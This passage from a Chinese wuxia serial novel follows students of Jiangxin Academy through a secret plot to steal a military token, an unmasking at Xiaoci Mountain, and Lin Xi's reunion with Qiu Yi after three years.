不仅仅是对林兮,陈雅安初到江心学宫驯马一事,本就惹得人很难不注意到他,可偏偏他还生了那么一张一见难忘的脸。
江心学宫的人,无论男女,欲与之往来者众多,再看那家伙,不知是贞还是烈,任谁投来花枝,都一概冷冰冰的。
即使真有那位姓田的姑娘存在,估计和他也是不熟!
“罢了,罢了,为了邱怡,我还是试试吧。”林兮自劝道,这时,隔壁的屋内又起了琴音。
林兮灵光一现!去找天作帮忙不就好了,他可比陈雅安好说话得多了。
33. 神鹰出山
推门而入。
“天作兄,好琴音!”林兮哈哈恭维道。
张天作眉色一亮,单从“天作兄”的一个“兄”字,他就知道,林兮是无事不登三宝殿。
“何事?直说便是。”张天作爽快道。
林兮浅笑着,将手中皱巴巴的纸团交给张天作过目。
啪当!
张天作连手带信重重往桌上一拍,“岂有此理!这夏小五真是贪猥!”
林兮正醋着,张天作突而眯眼笑起,“林兮,这位邱姑娘是你什么人呢?”
林兮忽羞,咬着牙,用着很是低浅地声音说道,“我与她曾定下三年之约,就这两日了。”
张天作会意,又隐约觉着不安,规劝道,“都说好女不侍二夫,这女子既与你定了约定,如今又与一男子走的亲近,你还是该去直接问问她才是。”
“你不知道,邱怡她,她给我的信中,提都未提过这夏小五一字半语。如果不是我问了旁人,这些事我根本知道不来。叫我如何同她开得了口?”
张天作无力道,“既是如此,那便去问问雅安这田姑娘是何许人也。”
“真的吗?拜托你了,天作!这份恩情,我记下了,我知你什么都不缺,但以后有用得到我的地方,你尽管同我开口,我必定为你赴汤——”
还不等林兮讲完,张天作即刻拦道,“举手之劳,田姑娘在与不在,就是没有我与雅安,你也能问出个所以然来。”
“那也要谢谢你才是。如果陈雅安也与她不熟,我再想别的法子!”
张天作温温一笑,“也许田姑娘与他不熟,但我肯定,若真有这位田姑娘在,江心学宫内,绝对没有第二个人比雅安更了解她。”
林兮跟着出了屋,一路疑惑不定,但见张天作落落自信的步乏,不像空吹。张天作说陈雅安是天作之合馆的那一“鹰”,也许,这人真有鹰一般的锐眼。
陈雅安的房间很是整洁,除了摆放整齐的开物门的机关木件儿,无甚异物。唯一引得林兮注意的,便是他的窗边,放了半盘子生肉。
张天作将徐阳的信交由陈雅安。
陈雅安看过后,张天作直截问道,“这田姑娘是何许人也?”
陈雅安扫了眼心急切切的林兮,说道,“田雨萝,是朱阳王亲自举荐,入开物门何东座下,如今仍留在开物门研习机关之道。她的另一位师父是,碧眼盗圣素娘。”
“素娘,素娘可有徒弟叫夏小五吗?”张天作问道。
陈雅安略思,“素娘收的都是女徒,夏小五应不在其列。”
张天作提了提眉,问道,“雅安,你看这夏小五是更属意田姑娘还是更属意邱姑娘?”
陈雅安回嗔他一眼,“这……这封信中给出的信息太少,我怎会知?”
张天作借故调侃道,“也是,你就是见到了,怕也瞧不出这男女间的情愫来。”
陈雅安甩开脸,轻嗤了声。
“难道不是?我可听三叔说了,开物门几位女弟子成日围着你,你不怜香惜玉也就罢了,还时常摆脸子,动不动就说人家是废物。”
陈雅安仍不耳会。
张天作更是起兴,“听说你这半年来大多时间都在称病,开物门首座说,若是再如此下去,你这课业怕是要荒了。你这是躲着谁呢?这女人又不是老虎,再说,就是真将只老虎放到你面前,你也未必会怕,何必呢?”
“林兮,请你先出去,我有话要同天作讲。”
极力忍耐的陈雅安终于出声了。
林兮亦看出陈雅安反感的神色,即刻拿回徐阳的来信退了出去。
林兮走远后,陈雅安取出另一封信交给张天作,“天作,这是夫人适才送来的信,你且过遍目。”
取信来读,张天作双眼一瞪,“什么?二哥他,这会儿又不许母亲出凌霄阁了?难怪母亲一直要找到风云令。”
“不错,自我离开白陵后,张司宇就开始在白陵各处收拢势力。顺从的就用,不服从的就杀,恨不得将整个白陵都揽在自己手里。我在这江心,真是一刻也待不下了,可他却用少主的命令,将我困在了这里。”
张天作慌了,“此前,你就说过林兮是二哥放在江心监视我的,可我见那林兮,从未往白陵送过信,就未太过提防他。二哥,他到底是什么意思?”
陈雅安忧忧道,“等你我再回白陵时,看看白陵城的样子,就知了。夫人是想,让我仿制个风云令,好破眼下的困局。可那风云令,少主都没让我细瞧过,我纵习得开物门的手艺,也是仿不出的。天作,我就是想问问你,还记不记得风云令的模样?”
“父亲和之合一直将风云令收的极小心,我只远远看过两眼,细里的图纹,当真是记不得。你也说了,之合都未给你看过,怎会拿给别人瞧?”
陈雅安目色甚忧,“天作,若你还记得风云令是何模样,能绘出来就好了。夫人有了风云令,也不至于像我一样,被那张司宇困住。”
“我是真不知。”
张天作将手一摊,难得见到面若平湖的陈雅安叹气,体会到,陈雅安一直提醒自己提防林兮的苦心。若自己不慎,在林兮面前说错什么话,难保不会成为张司宇向母亲进一步出手的契机。
“风云令的事,只好行险招了。”陈雅安突然说道。
“险招?雅安,你会有危险吗?”
陈雅安凝了凝张天作,“不会。可天作,即使林兮未往白陵送过消息,你也千万不要与之往来过深。”
张天作想到被禁住的母亲,又想到时刻可监视天作之合馆的那座流云居,做下这些事的人,都是与自己一同长大的二哥,心中乱马狂蹄,“二哥,他之前不是这样的。”
陈雅安冷冷道,“别忘了,他始终是张鸷的儿子。”
“父亲待他不薄,他为何,要这样对母亲?”
陈雅安对适才醒悟家中局势的张天作攻心道,“天作,如果是张鸷成为君侯,换作是你的父亲被逐出白陵。而你,每日看着张司宇与他父亲其乐融融,父慈子孝,你只能是形单影只。就是他们对你再好,你会开心吗?你想起自己有家难回的父亲时,心中又作何感想?你觉得,张司宇要怎样对你,才能补上你们父子分离的痛?”
张天作臆想着,心中不安,愈发浓烈。
几日后,陈雅安又称病急。
张天作请来张鹏,说了些什么。随后,张鹏向大首座赵道人特请,让陈雅安暂离江心学宫去外寻医。
张鹏将脸色苍白的陈雅安送下山,告别过后,陈雅安与白马战神,快蹄疾驰,在江邑城外与一中年男子汇合,朝百里外的一
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处小村去。
秋雨绵绵,村里一户,中年妇人正调制香料,抬眼望见,伞下一中年蓝袍男子,后跟了一随从,随从男子身穿黑衣,眼中冰寒。
妇人只顾自碾着香末。
那黑衣男子,眼极尖利,于幽晃烛影中探到,那妇人的眸色,墨中带翠。
迈步越过中年男子,走到屋前。
“合字上的朋友,摆干了,借处地讨口水喝。”
妇人进而垂了垂头,来者话里带黑,是问自己,道上的朋友,下雨了,借处地方讨口水喝。
那男子不请自进,环了环一屋子的香薰草药,又道,“这一屋子的香值几个瓜?”
妇人拧过头,看着站在门外的中年男子,她认出,那位正是近来数度重金来请的江邑君侯。
黑衣男子捻起一把暗朱香末,掂到妇人眼前,“这香,就是能招来蜂,引来蝶,白陵的狐狸也是闻不到啊。”
妇人瞳孔微微一震,倒了杯水放到黑衣男子前,等他说明来意。
男子甩下手中香末,腰间取出一张银票,推到妇人前,“我这有笔白陵的杵门子,要不要听听?”
妇人看了看银票上“一千两”的字样,开口道,“白陵是老身的禁地。”
男子自顾自道,“我要风云令,东西在墨白城内,天作之合馆中。”
妇人无奈摇头,“这更是白陵的禁地,年轻人,你可真会说笑。”
“纹银,十万两。”黑衣男子朗朗声道。
“二位有备而来,应当知道老身的规矩。白陵地界儿的买卖,不碰。”
邑侯在屋外听着,朝屋内黑衣男子逼去一眼。
黑衣男子斜目沉沉,瞄着那妇人,不慌不忙道,“外加一头在白陵神出鬼没的狐狸。”
中年妇人皱着眉头,眼神游离,时而投向远方,又时而愁目看向男子身前的竹杯,显得十分纠结,良久才缓缓开口道,“老身说过,终身不再入白陵,除非那死狐狸亲自来请,就是天涯海角,也跟他去得。”
男子瞧出妇人已然心动,不以为意道,“我负责出银子,能看见东西就行。至于怎么找来的,就是您养了只鸟,能飞进天作之合馆的密道把东西叼出来,那都算您的本事。”
中年妇人收起面前的银票,“你真能让那人出了白陵?”
黑衣男子微眯着眼,点了点头。
屋外的邑侯见妇人收了银票,径自离去。
夹杂着落雨撞声,与万物声响模糊到了一处。
黑衣男子突地沉出一声,“你若愿在江湖上自认天作之合馆是一个令你这盗圣也无可奈何的地方,毁了自己的金字招牌。我也可让那狐狸现身,再给他下一道死死的命令,让他终身入不得白陵境地一步。”
黑衣男子朝屋外一瞟,又对那中年妇人邪色一笑,“当然,你若还想见到那狐狸,这件事,只能我们俩知道。”
中年妇人碧绿色的双眼疑视着眼前的白俊男子,问道,“你是什么人?”
“一行有一行的规矩,这不是你该打听的。”男子站起身,掸着衣襟道。
妇人听到黑衣男子说,事成与不成,都可命那位让她叫了十余年劲儿的人来见自己。尽管心中有着深深的不解,可黑衣男子近乎可以支配白陵城内万物众生的语气,催使着她去做。
34. 见叶察秋色
陈雅安与先行离去的邑侯汇合后,冷笑道,“区区小事,夫人竟还劳烦邑侯跟我跑一趟。”
“嫣儿说,你最是稳妥。我也想看看,天作之合馆的‘神鹰’做起事来是什么模样的。”
黑衣男子冷色一笑,“好办。”朝着天空吹了三声口哨,片刻功夫,一只亮羽煞光的白羽苍鹰落到他肩上,那男子将邑侯亲书的“已托素娘至天作之合馆寻风云令”的字条放入鹰腿的竹格中。
“果真是天地难见的宝贝。”邑侯视着陈雅安肩膀的鹰隼感慨道。
扑哧扑哧。苍鹰挥扇着翅膀,飞带男子鬓发。
陈雅安理了理鬓角的乱发,目送着北去的雄鹰,神色骄傲道,“江邑到白陵,便是最快最快的马,非半月不能到。此鹰,只需一日。”
邑侯也很是得意道,“张司宇虽将你困在了江心,但他做梦也想不到,你与白陵的往来,竟是走的天路。”
陈雅安无奈道,“他将我放在江心也好,张司宇在江心也安排了人。三公子心思单纯,现在还觉那张司宇是当年的好哥哥了。”
“嫣儿要我在江邑为你寻门亲事。我本有意将小女嫁与你,但嫣儿舍不得你入赘到江邑来,定要将你留在身边不可。”邑侯停顿了下,又假作不介意地说,“雅安,你不必介意,有本侯亲自保媒,什么样的女子要不得?江邑世家门中,多的是尚未出阁的女子,待你再来江邑时,我引你见见。”
陈雅安自是清楚,潘怀这是在提醒,以他贱奴的出身,能娶得世家女子已是被抬举了。
可惜,陈雅安是一个不需要施舍的人。
“我这人,爱金,爱银。您若是硬给我塞个女人过来,万一我真进了温柔乡,领了美人情,只怕到时,就未必肯听金子的话了。”
邑侯无奈,只得向陈雅安腰中塞了张银票,“你是聪明人,金子比感情靠的住。”
陈雅安边将银票折好收回怀中,志得意满道,“那当然是金银傍身,才最踏实。”
邑侯又问,“我也是费了好大的功夫,才找到素娘的,期间烦人去请了两次,她都不肯点头。嫣儿说的是,果然没有你办不成的事。要不要猜猜,素娘真能取得那风云令吗?”
“这话您不该问我,该去问问那天下第一的盗圣,问问她这世间还有谁比她的能耐大。”
二人分别后,陈雅安骑着白马战神,向江心学宫的方向而去。
钟灵山繁茂的枝叶亦染上了秋霜,来自北方的排排大雁纷纷度到温暖的南国,一封来自白陵的书信突至张鹏手中。
张司宇在信中说,近日接连抓获觊觎风云令的盗贼,他怀疑幕后是受了小次山掌门梁功长的指使,让张天作去小次山一探究竟,并叮嘱张天作不可与他用张家剑法比斗。
陈雅安极度不解,张司宇为何会怀疑到小次山的梁功长处?
“既要我注意安全,又不许我用张家剑法。二哥这是何意?”张天作赌着气问道,又言,“想不到如今的江湖门派,也开始对风云令起了兴趣。雅安,你对梁功长可有了解吗?”
“小次山掌门,问天剑梁功长,自拜入小次山后就未出过山门,据说他时常向天而问‘老天爷,你能不能告诉我,我是何门何派?’,才得了问天剑的名号。此人是带艺投师,旁门多学,精通百家武学,剑法精妙,对外宣称自己有一把名剑,还说如果谁能让他使出本门功夫来,他就愿意将此剑相赠,反之,便要人将自己的剑折了才许下山。江湖剑客闻讯,纷纷去向他挑战,十多年了,竟然无一人见过他那把名剑。”
张天作鼓着腮,“二哥还当我是娃娃吗?竟担心我会为了一把剑与人比武?墨白城中什么样的剑见不得!”转是叹了口气,“还不许我用张家剑法,定是看我打不过,丢了颜面!”
张鹏好言道,“三叔带你去,定不叫人伤你一根汗毛。”
张天作质起了气,信誓旦旦道,“我与雅安去就好了,免得被笑话,说我还是个奶娃娃。”
张鹏虽是忧心,但也应了下来。梁功长是成名高手,而非杀手,况且陈雅安足智多谋,有他陪同,倒是放得下心。
张鹏心念一软,近日来林兮常独自握着那张皱得不能再皱的书信,在廊间徘徊踱步,问询过张天作,才知他是思念着在云间城的一位姑娘,有意道,“林兮曾是云间城人,让他随你们一同去吧。”
林兮奉师命同张天作和陈雅安去小次山。
陈雅安疑心,张司宇既明言不许张天作用张家剑法,或许那梁功长与张家有些仇怨,便将白马战神留在了江心学宫,转而骑着从百里坤处得来的那匹被他驯得服服的黑色烈马。
林兮看到陈雅安骑的是尚未装鞍的乌黑野马,又觉这人明明驯术还是骑术,都十分了得,但骑行时,却始终让自己的马跟在张天作的马后。张天作虽然对他情如兄弟,但陈雅安却总是保持着一个随从的姿态。
也许是他将太多的注意力放到了陈雅安身上,都未注意到,后方几十米处的天空,正有只苍鹰傲姿尾行。
尤其在路过去往云间城的路口时,林兮真想掉个马头,奔回云间城看看。转念一想,那夏小五常带邱怡出城骑马,会不会正好路过这里偶遇。但他知道,张天作纵然好说话,但陈雅安绝不是一个可商量的主儿。
秋末的小次山,层林尽染。陈雅安见山路难行,一马当先走在前探路,张天作和林兮紧随其后。
送进拜帖,随小次山门人到堂上后,见堂中卧坐着一脸上几乎堆满胡须的中年糙汉,一双光亮光亮的剑目看到几人进来,懒声道,“张天作是哪个?”
张天作站出,施起一礼,“在下墨白城天作之合馆张天作,见过梁掌门。”
“好。”梁功长阔着声道,随即抬出手,命门人请客入座。
目光片刻不离张天作,看他坐定,问道,“你父亲呢?出门云游可回来了吗?”
“尚未归来,前辈认得家父?”
梁
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功长轻摇了下头,人默了半晌,那微颤的乱须下,才又传出句,“冲云之战,真是张司宇赢的齐远峰吗?”
张天作颔首道,“是,是家兄胜的燕侯。”
“家兄?按理,你才该是张家正统,与张司宇只算得是同宗兄弟。”
张天作面露愠色,甩了梁功长一眼。
即使张司宇将自己的母亲禁足,但那也是自己的二哥。
“既是兄弟,兄为长,我为幼,我叫他二哥,有何不妥?”
“张司宇既胜了燕侯爷,看来如今张家的剑法,仍是冠绝天下的。张三公子远道而来,难道是要与老夫来炫技的不成?”
张天作和颜解释道,“掌门人误会了,是二哥,他近日有疑窦难处,才命天作来向梁掌门请教。”
“什么事?”
张天作道,“墨白城内近日遇到些蹊跷事,不知怎的,总是有些不自量力的江湖人士进到墨白城来,意欲探取风云令。天作不才,还想请问梁掌门,可有何良方,避此蹊跷之事?”
梁功长蓬乱的胡须后散出三字来,“风,云,令。”说后,瞪足眼鼓视张天作片刻,“据老夫所知,这风云令虽是白陵兵符,但军中向来是认将不认令的,即使落进江湖人手中,也难以此来统率白陵兵马,反倒是给自己引火烧身了。”
张天作不休问道,“梁掌门可知到底是哪位江湖好汉错了主意的?。”
梁功长阔声一笑,“张三公子,可是怀疑到老夫了?”
张天作眉宇舒展开,“所谓清者自清,浊者自浊,天作不过随口问问罢了,梁掌门贵为一派掌门,更是比天作清楚该如何在江湖中安身立命才是。”
梁功长道,“老夫自进小次山后,再未出过山门,何况我夫人正在病中,何来心思思去?”
张天作略一思量,当即告别道,“既是如此,晚辈打扰了。家兄还有句话命我转述于梁掌门,墨白城与小次山各自安好就是,还请梁掌门保重。”
张天作转身即走,可梁功长送行的目光,却一下都未离开过他的背身,突喝道,“慢着,老夫阅尽天下武学,张三公子既远道而来,不妨让我开开眼,看看张家剑法。”
“晚辈此行,不为比武。”张天作回过头应道。
话音乍停,梁功长人已跃到张天作身前三两步的距离。张天作情急之下出掌对之,梁功长必是不惧,出掌迎之。
适才梁是躺姿,林兮瞧不仔细,现下正壮身如松的立在自己眼前,才发现,原这梁功长是一魁梧大汉,尤其是一脸虬髯的扮相,更衬得张天作略显稚嫩。
张天作汗珠直冒,那润玉一般的脸也憋得生红,却仍原地不动地与梁功长对起掌来。
实则,梁功长瞧出张天作修为,起初并未使出全力。但张天作用的回龙功,是一门力道极霸的掌力,一掌内势,如龙如象,才使得修为处在下风的张天作与之对峙良久。那汉子也正逐渐将内力汇到掌处,欲胜张天作的回龙功。
35. 是飞鸟尽
哪料这位张三公子,看着面善,看着宽和,但真较起武来,满脑子想的尽是幼时因练武被父亲责备的场景,生怕输了又要被父亲教训一通似的,也卯上了劲儿,咬着牙与梁功长硬刚起来。
梁功长见张天作脸也憋得极红,却仍不收掌认输,突掌中一震,将他向后弹开数步。
“回龙功,名不虚传。”一厚沉的赞美声从梁功长的胡须见冒出。
张天作取出一帕子,擦拭额头的汗滴,“承让了。”
可那梁功长见状,眼中一愠,抽出短剑来,向其喝道,“让我看看你的张家剑法!”
张天作记着张司宇的吩咐,握着仍在鞘的剑,出鞘身格挡。
林兮看到他使的仅是张鹏教自己的天晶剑诀的几路招式。而那梁功长虽用短剑,但听着那嗖嗖刷刷的声音,都觉他的剑如他魁梧的身躯一般硬朗。担心道,“天作怎还不用白陵剑法?”
陈雅安只细细观察思索,梁功长的哪句话令他熟悉,令他似成相识,并未理会林兮。
“你不懂张家剑法的吗?”梁功长亦问!
张天作回道,“我辈习武,是为传承家学,并非要与人比试。”
“好呀,你试出我是哪门哪派,我就放你下山传你的家学去。”
那梁功长剑剑逼近,迫使张天作快快亮出家传剑法。
张天作步步后让,被迫进一角,见再无退路,以身护剑道,“梁前辈剑路多变,有三尺剑,雷鸣剑,凌波剑,但都是按图索骥,杂而不精。”
梁功长见张天作几乎将自己用的剑法全数说出,赞许地视着他,尤其是这几路剑法,张天作都未以剑迎战,竟可识出,可见确是位行家里手,只是嘴上仍嘲讽道,“你说了这么多,竟还说不出我是哪门哪派。”
陈雅安精光一闪,“你用的是问天剑!”
张家剑法。
只有白陵张家人,才会称此剑法为“张家剑法”,外人,说的都是“白陵剑法”。
虬髯壮汉梁功长无论是年岁,还是那与张司宇相似的身型,都定是那人无疑!
梁功长生了兴趣,缓缓回头视向陈雅安,问道,“问天剑?问的是什么天,用的是什么剑啊?”
陈雅安回道,“问天剑,问的是绝天一剑,用的自然是张家剑法了。”
张天作大惑,梁功长刚才是使了数套剑法的招式,但他肯定,绝无一招出自他自小就练的张家剑法。可看到愣在原地的梁功长,他的反应比自己还要大,手中的剑都险些掉落下来。
陈雅安继续道,“飞鸟尽,梁功长。你把名字里的鸟儿匿了,你当我等就识不得你吗?张鸷,没想到在这里遇到了,真是幸会啊。”
张天作难信听陈雅安说出那个,他知道,但眼前的人,确实不熟悉。他只记得,家里曾还有位叔叔,一个只在张家留下一段故事的叔叔。
小次山的门众们窸窸窣窣着,所有人都看着墙角的一老一少,难信他们那胡须糙汉似的掌门,与那位贵气十足的公子,竟是亲生叔侄。
梁功长仔细地打量着陈雅安,那眼神,和他在墨白城时从一个掖庭孩童身上看到的像极了,那男孩儿在还未开口讲话的年纪,眼中就总是透着一股不屈的劲儿。猜测道,“我记得你是叫陈雅安吧?”
“不错。”陈雅安厉声回道。
梁功长又望了望在旁的林兮,犹豫道,“那他定是楚英了,张鸢的眼光,还不错。”
不等林兮回话,陈雅安直接道,“他是林兮,不是楚英。”
梁功长又问,“你是如何识出的?”
陈雅安斩钉似的说出四个字,“张家剑法”,随后又略微提起嘴角嘲道,“虽然你一点张家人的样子都没有,但这习惯,你忘改了。”
梁功长恍神,敞声呵笑起来,“原来如此。”
忐忑的张天作半天才说出,“梁,梁掌门,天作既识出您的门派,由此便可以下山了,请多保重。”
他确想多关心几句梁功长夫人的病情,但想到当年祖父张云盈病急的情形,从没有人敢在墨白城提到“张鸷”二字,此刻脑中浮进的,已满是父亲嗔怒的面容。觉得自己再同梁功长多说一句话,都是家族罪人。
“慢着,张司宇,他没有再留下什么话吗?”梁功长语气甚是低哀。
张天作摇了下头,转身即去。
陈雅安瞧出张天作的逃避,道,“我代少主,念你一点张家血脉。适才听闻贵夫人见疾,给你指条明路,此处离云间城不远,你可以请那边的医者来为贵夫人诊治。”
梁功长迟疑,“你说话的语气,确实像极了张鸢。”话锋却是一转,又道,“既然白陵张家不求人,我梁某人,亦不求人。”
林兮不忿道,“我辈行医救人,秉的向来是一颗仁善之心,怎就算求了?若叫你这么说,那岂不是天下所有的人生病都在家等着,让大夫挨家挨户寻上门问吗?”
陈雅安继续冷着声道,“我也可请少主修书一封给云间君侯,请他派清农的人来为贵夫人瞧瞧。”
梁功长叹了叹气,“这句就不像张鸢了。”又质问道,“白陵张家有训,不可与清农医者往来。”
陈雅安用着寒厉而威严的声音道,“你既已不是张家人,何故介意与清农的人有来往?”
梁功长噤声。
“我真受不了你们,都端着个架子。司宇也是我朋友,等下,我去清农帮你请人来瞧瞧。但我跟你说好,她只在清农药房侍弄过花草,没正经拜入清农,治不好你可不许怪她来。”林兮急切道,转而又向张天作提议道,“天作,我们等下转路去趟云间城,明日再回江心学宫吧?”
张天作猜到,林兮明说是去云间城,实则更想去见见信中的那位清农邱姑娘。
但是梁功长所言不假,张家不与云间医者往来,张家人更不会入云间城一步,他虽也感念林兮愿帮他叔婶请医,但家训不得有违。
很是为难道,“林兮,梁掌门所言非虚,我确不会到那云间城里去。”
林兮未及失望,只听耳边传来陈雅安的声音,“不必麻烦,林兮,你速休书一封,叫你要请的医者朋友见信即出发。我们回去的路上,你就可见到她了。”
“对呀!林兮,你快写。”张天作催促道。
林兮不明所以,仍按照陈雅安的要求做了。
梁
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功长顿了很久,又向陈雅安问道,“你为什么要这么做?”
陈雅安目色一沉,“我说过,是代少主念你的一点血脉。”
不会儿功夫,林兮便将信写好。陈雅安接过信,与梁功长告别后,便带着张天作与林兮出了门。
几人在下山路间找了一处可远眺整座云间城的崖头,陈雅安细询问清农医堂的大概方位,又问林兮要了封此前从清农寄来的书信。
忽地长哨三声,秋高的天空,一影远翔而来。
阳光照得那影羽光耀耀,山崖上空,飞出一鹰隼来。
那苍鹰就像是从云里钻出来似的,一动不动地停在空中,俯视着一切。
陈雅安举臂过肩,那鹰隼翅膀一侧,像道疾风般,架上他臂。
林兮望着那只鹰停落的模样,高过两尺,健满的曲线覆着排排硬羽,似是在羽白的毛尖嵌入几粒黑珠般亮洁。高昂的项顶,一双睥睨的眼似藏着利锋,钩锐的嘴喙悬弯而下。
陈雅安先将林兮的书信塞入苍鹰腿处的小竹筒,又让那鹰嗅了嗅此前徐阳的来信,指了指云间城的方向。挥臂一扬,伴着一阵如巨风般扇动翅膀的震声,林兮觉得那鹰的翅膀好是铁打的一般硬健。
林兮视着如风而来又如风而去的神鹰,又问道,“它能将信送到清农?”
陈雅安坦坦道,“不出一个时辰,此鹰就能回来。”
“它找清农医堂是不是也要花些时间?”林兮关问道。
陈雅安睥了一眼,“我说的,是最慢的时间。若是顺利,半个时辰就能回来。”
林兮估算着,自小次山到云间城,便是快马,也要半日才可到,这鹰竟能半个时辰就可往返一回,感慨问道,“这是什么鹰?”
张天作回道,“这是海青,是白陵雪川特有的品类,扑鹅捕兔,很是厉害。这只的品相,比三年龙还要罕见。”
“我去白陵时,怎从未见过?是不是白陵家家都养着一只?”
张天作半笑不笑,“养?林兮,你可真会说笑。莫说白陵,就是天下间所有的州郡道府加起来,也只我们天作之合馆有这一只而已。”
陈雅安沉声催道,“下山吧。”
三人一路,快马轻驰,尤其是林兮,一树一木,一景一色,都映衬着他的心情格外飘摇,仿佛引着他去往邱怡的方向。果然,如陈雅安所言,他们才走了半个时辰露头,就看见那只苍鹰回程的身影。
那鹰在空中悬了许久,陈雅安迟疑片刻,架起手臂,那鹰受到命令似的又落回他的臂处,陈雅安见鹰腿竹筒中,夹着一张小纸条,他取出一看,仅“知悉”二字,将纸条展向林兮,“你请的姑娘应是出发了。”
林兮握着缰绳的手指抖了起来,心也扑通扑通跳得七上八下。
三年后,她还好吗?
三年之约,她可还记得吗?
他深吸了一口气,试图平复自己狂跳的心。
“你是在此处等她?还是随我们去迎她?”驰去的马影上传来陈雅安冷冷的一声。
林兮夹紧马臀,追了去。喊道,“自是要第一时间见到她。”
张天作闻言,撇嘴笑了笑。
36. 是途中故
日晖下,一条黄土路上,两侧树成林立,前方卷起一团黄土烟尘,辨听到马蹄急驰之声。林兮的情绪瞬如波涛般汹涌,她突然闯入他的视线,除了她的那匹青马,伴行的还有一骑影,另匹红驹上的那人,盎然挺身,双目炯炯。
林兮慌忙别开视向那汉子的眼,努力保持着镇定的样子。
邱怡也看到了他,缰绳一缩,遥目注视着渐近的三人三马。身旁的朗健汉子前行了几米,才注意到停驻在后的邱怡,旋即掉过马头,向邱怡身旁护去。
邱怡扶着马鞍,缓缓下马,好像在等着自己。
林兮快马上前,努力保持镇静的样子,喊道,“邱怡。”
邱怡的眼中,仍是藏着一池子秋水般平静,轻声招呼道,“林兮。”
林兮听着那婉约的声线,浑身一震。
张天作见状,拦住行进的陈雅安,低声道,“林兮想这姑娘想了许久,让他二人叙叙话。”
林兮跳身下马,快步到邱怡身前,三年前,中秋月色下那位楚楚得令人生怜、书生气华的少女,已是窕窕清丽,像从氤氲瑶池中长出的仙芝一般,白衣绿衫间,透着一股狡黠灵气,发间还佩着初遇时的那支珠银钗。
“你变样了。”
邱怡轻腼道,“我总不能永远是那副样吧。”
林兮拍了拍当年送给邱怡的青马,“真想不到,你的马竟骑得这么好了。你的身子,可全好了?”
邱怡张开手臂,原地转了一圈,“这几年一直服用清心丹,已经好多了。你看,我这不是骑着马走了这么久都无事吗?”
林兮看她步态轻盈如飞,毫无病气,心下欢腾不已。
邱怡亦是满目感激得看向林兮,三年来,眼前男子书信准时,半月一封,寒来暑往,从不缺席。句句挂念,字字关怀,若不是他的坚持与鼓舞,怕早倒进了鬼门关。
邱怡眸光流看向半箭距外的张天作与陈雅安,眼底的光色变得更为诚挚,那是她做梦都想见到的人,竟被林兮带到了自己身边来,“林兮,真是谢谢你。”
“你就是林兮了?”红驹马上传来一声。
林兮抬眼视向马背上双目闪亮的男子,自是心知,此人许就是徐阳信中提到的夏小五,“正是,你呢?又是何人?”
马上男子继续道,“小爷姓夏,名小五。你倒真是面大,邱姐见了你的信,即刻就放下手里正碾着半截的药出城见你来了。”
夏小五跃下马,冲向林兮打量开,见他眉宇间透着几分江湖气,虽比自己高出些,身板却不如自己壮实。“江心的学生一年不如一年了。”
林兮扫眼,留意到夏小五腰间悬了一把银光闪目的弯刀,长约两寸,刀鞘灵鸟刻纹精致,《五州山河异志》中记载,这把刀名为镰月,兵器排行第八。
“你师从何人呢?”
林兮回道,“家师乃江心学宫精武门座师,张鹏。”
“这也难怪了,白陵张家最好的武功从不外传,教的都是些不入流的。”
林兮气声道,“此言差矣。天晶剑诀,你可听过?”
“我只听过白陵剑法。”
林兮笑言,“这不就得了,家师曾说,白陵剑法对初学者而言甚为繁琐,故才从中挑选出三十二式剑招变化拆解为六十四式剑招,得成更易习练的天晶剑诀。”
秋日仍是炎炎,高空中一只羽白的雄鹰张翅盘飞,地面流转的旋影,好像将三人划进一个特别的圈子里。
远处的张天作,听着林兮为自家剑法的辩白,提着嘴角视着二男的“角斗场”,只待夏小五再犯言张家剑法一句,便要持剑问候他一番。
“林兮,你喊我来,是为了和小五聊剑法的吗?”
邱怡楚楚望来,林兮亦望着她笑,“当然不是了,我在信中也只说了个大概。小次山梁掌门夫人遇疾,听徐阳说你医术有成,我想请你去帮着瞧瞧。”
“我说你怎突然会找到我,原是与徐阳一直有书信往来。小五是夏先生的儿子,他见了人就尽想着比武的事,言语冒犯,你莫要见怪。”
林兮听着邱怡在为夏小五开脱,略生醋意,“不怪不怪。”
“你怎不直接找徐阳呢?”
邱怡反口,又是一问。
林兮情绪翻腾,嘀咕着说不出话,“我,我,”
“邱姑娘,林兮说你医术好,最信得过你。”后方的张天作仗言道。
邱怡向后方马上的二人远瞟一眼,羞得一笑,低声道,“这话我可没说过。”接而,佯出一个很好奇的模样,向林兮问道,“那二人是你同窗吗?”
林兮点了点头,又听邱怡道,“还不介绍予我认识认识?”
林兮眼中精光一闪,“好啊。”
邱怡生怕夏小五见了又要叫嚷着比武,扭头对夏小五突喝道,“你,在这儿等我。”
“好。”夏小五无奈应声点头。
林兮满是愕然,邱怡一向温婉,不料对夏小五说话却如此生直,真如徐阳所说,好像换了个人般。他引着邱怡走向张天作二人,还指着正在头顶的苍鹰关心道,“这鹰吓到你没?”。
邱怡瞟了眼那鹰,不仅不会怕,反而开心得紧。从牠飞入清农,便一直欢快地围自己打转,显然是认出她是少主了。
她轻轻摇了摇头,抿着嘴角不住淡笑,走到三哥马前。
林兮介绍道,“这位,是司宇兄的三弟,白陵三公子张天作,旁边是他的随从,陈雅安。”
邱怡抬眼望向二人,马上人面冠如玉,眉眼中藏着温暖的光芒,经年不见,三哥仍是如此温润款款,反倒是陈雅安,不仅没有察觉出鹰的异样,连坐下骑的马,都不一样了。
她面着张天作说道,“张三公子真是玉气贵成,久仰。”
透过邱怡的光眸,林兮觉得她还像从前那般平宁,与适才与夏小五说话的那个语气完全联系不到一处。
张天作虽听惯了这般奉承夸赞,但邱怡柔细而认真的声线,却令他觉其是在真心褒赞,微点额头,“天作有礼了。”
邱怡愣了刹那,反应过来在此刻的三哥眼中,自己早与诸多清农医女无异。
转而转向林兮,淡淡一笑,眼瞳中依是透着柔情和暖意,“林兮,梁掌门是你何人?为何这般急着要我去为他夫人诊治?”
“他是司宇兄那离门的父亲,如今在小次山做了掌门。”林兮娓娓介绍道,“他夫人生了病,他却说他生平从不求人,更不会去求清农的人,这是哪门子道理?我见不惯,才给你送的信。不过,我也跟他说了,你医不好也不许勉强你。”
邱怡偷偷瞄了眼张天作,看他也没否认,只得极力敛住心中错乱,微笑言道,“生平不求人的人,自不会强人所难。何况,梁掌门既是一派掌门,又岂会为难我一姑娘家。林兮,你这么说,真是太看不起梁掌门了。”<
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林兮会意点了点头,又听邱怡视着张天作对自己嘱声道,“张公子出自白陵大族,你可要多跟人家学一些。”
“好。好。”林兮连声答应着。
张天作无奈笑道,“林兮,你别只顾着答应。你忘了,你还有事要问邱姑娘呢。”
